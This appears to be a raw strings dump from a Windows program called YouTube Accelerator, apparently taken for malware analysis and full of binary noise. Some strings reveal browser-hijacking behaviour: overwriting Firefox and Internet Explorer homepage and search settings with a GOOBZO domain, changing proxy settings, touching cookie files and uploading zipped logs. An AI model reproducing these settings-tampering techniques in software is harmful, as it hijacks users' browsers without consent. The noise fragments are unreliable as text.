_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1462

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAccelerator.exe_1732:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@PRODUCT_DOMAIN@.com/support/video-sites

hXXp://@BRAND_ID@.@PRODUCT_DOMAIN@.com/buy/hd/

hXXp://wiki.@COMPANY_DOMAIN@.com/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@COMPANY_DOMAIN@.com

hXXp://@BRAND_ID@.@PRODUCT_DOMAIN@.com/legal/license

blank.html

hXXp://VVV.@PRODUCT_DOMAIN@.com/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@COMPANY_DOMAIN@.com/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@COMPANY_DOMAIN@.com/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@COMPANY_DOMAIN@.com/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

